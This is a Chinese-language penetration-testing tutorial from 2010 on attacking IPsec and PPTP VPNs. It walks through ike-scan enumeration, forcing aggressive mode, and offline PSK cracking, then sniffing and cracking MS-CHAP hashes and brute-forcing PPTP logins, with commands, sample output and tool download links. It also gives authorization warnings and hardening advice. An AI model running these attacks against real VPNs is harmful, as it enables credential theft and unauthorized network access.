Copyright (c) 2010 Czy Invicta <Hack01@Live!cn> All rights reserved.
前言 ~~~~~ 公司对于在不安全的公网上安全地通信的需求在日益增加。这些用户从家里、旅馆和其他工作场所之外的地方连接到内部公司资源。目前有多种不同的VPN实现,使用最广泛的是IPsec、PPTP和SSL VPN实现。此外,还有两种常规的加密VPN类型,一种提供远程访问,一种提供点到站点连接。
我需要提醒的是,你对目标机构执行我所演示的内容之前,请获取组织打印的书面许可证件,以避免丢掉你的工作甚至得到坐牢的回报。
IPSec相关攻击 ~~~~~~~~~~~~~~ 当谈论VPN技术时,人们通常会自动认为它是基于IPSec的。这在某种程度上是真的,因为基于IPSec的VPN为旁路流量提供了最高等级的保护,而且发现和报告的漏洞数量最少。
当查找支持IPSec的设备时,你要寻找主机上开放的UDP 500或4500端口以及对49号(认证头)或50号(安全载荷封装)协议的支持。你可以使用我们一直很喜欢用的Nmap扫描开放端口的范围,并利用-sO选项检查协议支持。不过,正如你可能知道的那样,UDP端口扫描不如你希望的那样可靠,ICMP type 3 code 2通常会被中间路由器阻塞。列举这种主机的方式之一是发送合法的IPSec请求。
一种有用的工具是NTA Monitor公司开发的ike-scan,可以从http://www.nta-monitor.com/tools/ike-scan/下载。如果你仔细研究此工具,你会发现有非常多的选项可供使用,你可以创建IKE建议的任何类型并将它发送给服务器或网络中的多台主机。除了创建包之外,ike-scan还可以用于对主机进行指纹识别并判断它们运行的IPSec的类型。
我针对一台Cisco 2600系列路由器试试此工具,这台路由器正在等待一个IPSec连接的响应,并且配置为IKE使用DES/SHA1/MODP2,IPSec使用DES/SHA1/MODP2。
czyinvicta / # ike-scan --showbackoff 192.168.66.202 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.66.202 Main Mode Handshake returned SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
IKE Backoff Patterns: IP Address No. Recv time Delta Time 192.168.66.202 1 1117676572.724007 0.000000 192.168.66.202 2 1117676582.724615 10.000608 192.168.66.202 3 1117676592.726109 10.001494 192.168.66.202 4 1117676602.727004 10.000895 192.168.66.202 5 1117676612.728526 10.001522 192.168.66.202 6 1117676622.729242 10.000716 192.168.66.202 Implementation guess: Watchguard Firebox or Gnat Box Ending ike-scan 1.9: 1 hosts scanned in 110.430 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
正如你看到的那样,ike-scan能够确定主交换模式中我们的测试主机支持的一个变换集,还能将它识别为正在运行的WatchGuard Firebox或Gnat Box。实际上,从IOS12.2开始,Cisco IOS就引入了类似于这两种设备的退避模式。
IOS路由器默认接受积极交换模式,除非专门用crypto isakmp aggressive-mode disable命令禁止了。因为我们知道一种ISAKMP策略,所以我们尝试利用下面的命令迫使目标转换成积极交换模式:
czyinvicta / # ike-scan -v -A --trans 1,2,1,2 --dhgroup=2 --lifetime 3600 --idtype=1 --id=192.168.77.6 192.168.66.202 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) --- Pass 1 of 3 completed
192.168.66.202 Aggressive Mode Handshake returned SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=3600) VID=afcad71368a9702d9fe274cc0100 (Cisco Unity) VID=59d8f25cf4026f1e1b8db29b5dffa0f3 VID=0900268dfd6b712 (XAUTH) KeyExchange ()128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.66.202) Nonce(20 bytes) Hash (20 bytes)
Ending ike-scan 1.9: 1 hosts scanned in 0.667 seconds (1.50 hosts/sec). 1 returned handshake; 0 returned notify
在此例子中,我们能够以积极模式开始密钥交换。正如你可能以及知道的那样,PSK和积极交换模式组合是一种随时会爆发的大灾难。连接的PSK不仅能被破解,它还可能消耗节点过多的CPU周期,会产生DoS攻击。我不打算从理论上解释工作原理,我会展示针对Cisco 2600系列路由器的实用攻击。
一旦从服务器获得了成功应答,你就可以将这种信息保存下来,利用-Pfilename选项离线破解。接着启用psk-crack,它是ike-scan套件中的一部分。psk-crack默认运行字典攻击,如果字典攻击不成功,随后就进行纯粹的暴力破解。可以指定字典文件以及需要的字符集和口令长度。
czyinvicta / # time ./psk-crack --bruteforce=5 psktest Starting psk-crack in brute-force cracking mode Brute force with 36 chars up to length 5 will take up to 60466176 iterations key "janka" matches SHA1 hash ae993bf8f60afdf2fa49013dcbc03daa571a420e Ending psk-crack: 17759468 interations in 140.094 seconds (126768.55 interations/sec)
real 2m20.097s user 1m57.720s sys 0m0.271s
配置为AMD XP 3000+的机器在暴力破解模式下花了不足2分钟就找到了PSK。为了提升破解进程的效率,工具的作者建议以下列方式编译套件:./configure -with-openssl。这样可以将暴力破解的速度提高大约2.5倍。显然,例子PSK只有5个字符长,而且字符集只包括0123456789abcdefghijklmnopqrstuvwxyz字符。常用的强口令规则表明:PSK越长、越复杂,对它进行暴力破解就越困难,甚至是不可行的,基于IOS的设备上的PSK的最大长度可以为128个字符。通过利用John the Ripper生成一个大字典文件,采用字符频度表在有限的时间内获得尽可能多的口令并运行psk-crack,可以进一步增加成功破解共享密钥的概率。
从管理员的角度看,从PSK模式转换到基于证书的节点认证是可能的,但在只有两个参与节点的站点到站点IPSec隧道中,这可能被认为太复杂了,不实用,因此你在渗透测试时更可能会遇到PSK认证的情况。坦率地说,没有理由要使用积极交换模式,避免使用这个模式带来的安全问题的一种好的解决方案是禁用积极模式,转成主模式交换。尽管我们知道在主模式交换中使用PSK也可能仍然存在危险,但攻击者的任务要困难得多,因为她需要执行中间人攻击,还要伪造DH公钥。
另一种(基于MS Windows)能用于确定有漏洞的IPSec主机的工具是ikeprobe.exe。它自动遍历各种试图迫使应答者转成积极模式的IKE变换。IKEProbe可以生成使用下列加密算法的提议:DES、3DES、AES-128和CAST。散列功能采用标准的MD5和SHA1,支持Diffie-Helman Group 1、2和5。
Supported Attributes Ciphers : DES, 3DES, AES-128, CAST Hashes : MD5, SHA1 Diffie Hellman Groups : DH Groups 1,2, and 5 Usage: ikeprobe.exe [peer]
只要指定想要检查的对等体,再运行就可以了。
另一种工具IKEProber.pl可以用于列举IPSec网络。你可以用它生成各种类型的提议,并观察服务器的应答。ikecrack-snarf是一种用于破解PSK的工具。气思路类似于前面提到的ike-scan,但为了成功地破解PSK,攻击者需要获得客户和服务器之间挑战模式IKE交换的信息转储。如果攻击者可以处于能够截获通信的路径上,他就可以利用tcpdump -nxq > logfile.dat 转储交换的信息,并执行:
czyinvicta / # perl ikecrack-snarf-1.00.pl <target IP>.500
从信息转储文件取值,并开始暴力破解。
此外,还可以在工具中填充需要的字段,并将static_test设置为1。你也可以设置ikecrack-snarf的其他参数,如字符集。下面是ikecrack-bsnarf的输出例子:
czyinvicta /# perl ikecrack-snarf-1.00.pl
Initiator_ID - Responder_ID - Type is IPv4: 10.64.1.1 Responder Sent MD5 HASH_R : 76757615908179c0d7ddb6712f3d0e31e
Starting Drinder.............
Reading Dictionary File Starting Dictionary Attack: No matches
Starting Hybrid Attack: No matches
Starting Bruteforce Attack: Character Set: a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Character 1 Done : Time 0 seconds Character 2 Done : Time 0 seconds match with xxx Calc MD5 HASH_R : 7657615908179c0d7ddb6712f3d0e31e Calc SKEYID : 2d930e484c38b13cb4c0a091e9798dab Elapsed Time : 3 seconds
点到点隧道协议攻击 ~~~~~~~~~~~~~~~~~~~ PPTP(点到点隧道协议)支持多种认证机制,包括PAP(口令认证协议)、CHAP(挑战握手认证协议)、EAP(扩展认证协议)、MS-CHAP和MS-CHAPv2。MS-CHAPv2可能是现代网络上最常见的PPTP认证机制,它就是我在此部分演示攻击的主要目标。
PPTP VPN容易遭受嗅探攻击,如果攻击者设法截获了PPTP MS-CHAP挑战/应答会话,他就能获得用于认证的散列值。可以利用的一种工具是Aleph One开发的Anger,Anger是一种PPTP嗅探器和攻击工具。它嗅探MS-CHAP挑战/应答,并以适合于进一步输入L0phtcrack口令破解程序的格式输出结果。Linux上没有可运行的最新版本L0pht,因此Linux用户可能要考虑利用John the Ripper(如果它打开了支持NT散列值破解的补丁)破解散列值。
如果使用MS-CHVPv1认证(别关心原因,这种情况在现实中仍然存在),Anger可以尝试伪造来自于服务器的口令更改命令,请求用户改变他的口令。如果用户按照命令去做了,当前使用的所有散列值以及新的散列值就都会被发现。有可能可以利用获得的散列值和一个修改过的PPP客户Linux版本登录到网络中,根本就不用知道用户口令。不过,这种情况现在相当罕见,具有安全意识的系统管理员会利用MS-CHAPv2进行PPTP认证。
为了使用MS-CHAPv2认证,你需要在路由器上运行ppp authentication ms-chap-v2和ppp ms-chap refuse命令。为了使用更强的128比特RC4加密,要运行ppp encrypt mppe 128 required命令。在这种情况下,你仍然可以嗅探出散列值。
可以从http://packetstormsecurity.org/Crackers/NT/l0phtcrack/anger.tar.gz下载Anger,以下面的方式解压并编译它:
gcc -o anger anger.c in_cksum.c -lcrypto -lpcap
需要利用其他方式确保可以在你的接口上看到挑战/应答流量,怎么做到我们以及讨论过了,采用下列选项运行Anger,并观察pptp-hash文件中出现的散列值:
arohntus / # ./anger -d eth0 pptp-hash czyinvicta / # cat ./pptp-hash arhont (Server 192.168.19.99 Client 192.168.46.66):0: 7C1759657B10D205:0000000000000000000 00000000000000000000000000 000:167E0D02057C71C70B3595F10153DB04CB762A391F68C2B
在运行L0phtcrack时,必须禁止破解LANMAN散列值,因为它不会将全0 LANMAN应答字段理解为破解无效的,会尝试破解。
我们可以利用一种修改后的版本,所以破解EAP-LEAP的工具也可以用于PPTP破解。下面是这种攻击的输出例子:
czyinvicta / # ./asleap -r pptp_int -f words.db -n words.idx Captured PPTP exchange information: username: testuser auth challenge: c1b104277ee9a7f2b48bfd84d8fe445a peer challenge: 3798bd4f96404c3602b241885f183c13 peer response: dbd5573dfd24357fbfla327bf31f0baea23c2e30f405f059 challenge: 037e6a6fab3debb2 hash bytes: 816b NT hash: 707982d4fld9645400a53f22794e69d3 password: testtest
如果由于某些原因你无法截获认证流量,你仍然可以通过暴力破解口令攻击PPTP服务器。一种有用的工具是thc-pptp-bruter,它是Hackers Choice团队开发的,可以从http://www.thc.org/releases.php下载改工具(或者http://linux.wareseeker.com/System/thc-pptp-bruter-0.1.4.zip/334595)。
czyinvicta / # thc-pptp-bruter thc-pptp-bruter [options] <remote host IP> -v Verbose output / Debug output -W Disable windows hack [default: enabled] -u <user> User [default: administrator] -w <file> Wordlist file [defautl: stdin] -p < > PPTP port [default: 1723] -n < > Number of parallel tries [default: 5] -l < > Limit to n passwords / sec [default: 100]
注意,当刚连接到设备时,你会看到关于你要连接的主机的一些简要信息,这是对远程应用层进行指纹识别的一种有用方式。
尾声 ~~~~~ VPN隧道的存在可以让你的网络基础设施变得更安全。效果到底如何呢?安全防范措施的效果取决于它们的安装和支持专家。糟糕的是,这些漏洞都很隐蔽,因为这些安全措施会造成安全、坚不可摧的假象。低估攻击者、高估自己的防御是再糟糕不过的事情,别让那些事情放生在你身上。如有问题或提议,请写信件发送到我的Email(Hack01[at]Live.cn)中。在结尾处我再次提醒,没有组织的书面许可证件时,不要以为你仅仅是为了安全测试或感兴趣理由而对组织执行以上内容(当然,同样包括http://blog.sina.com.cn/streethacker发布的所有文章)。
# HACKER NETSPY [CZY]
|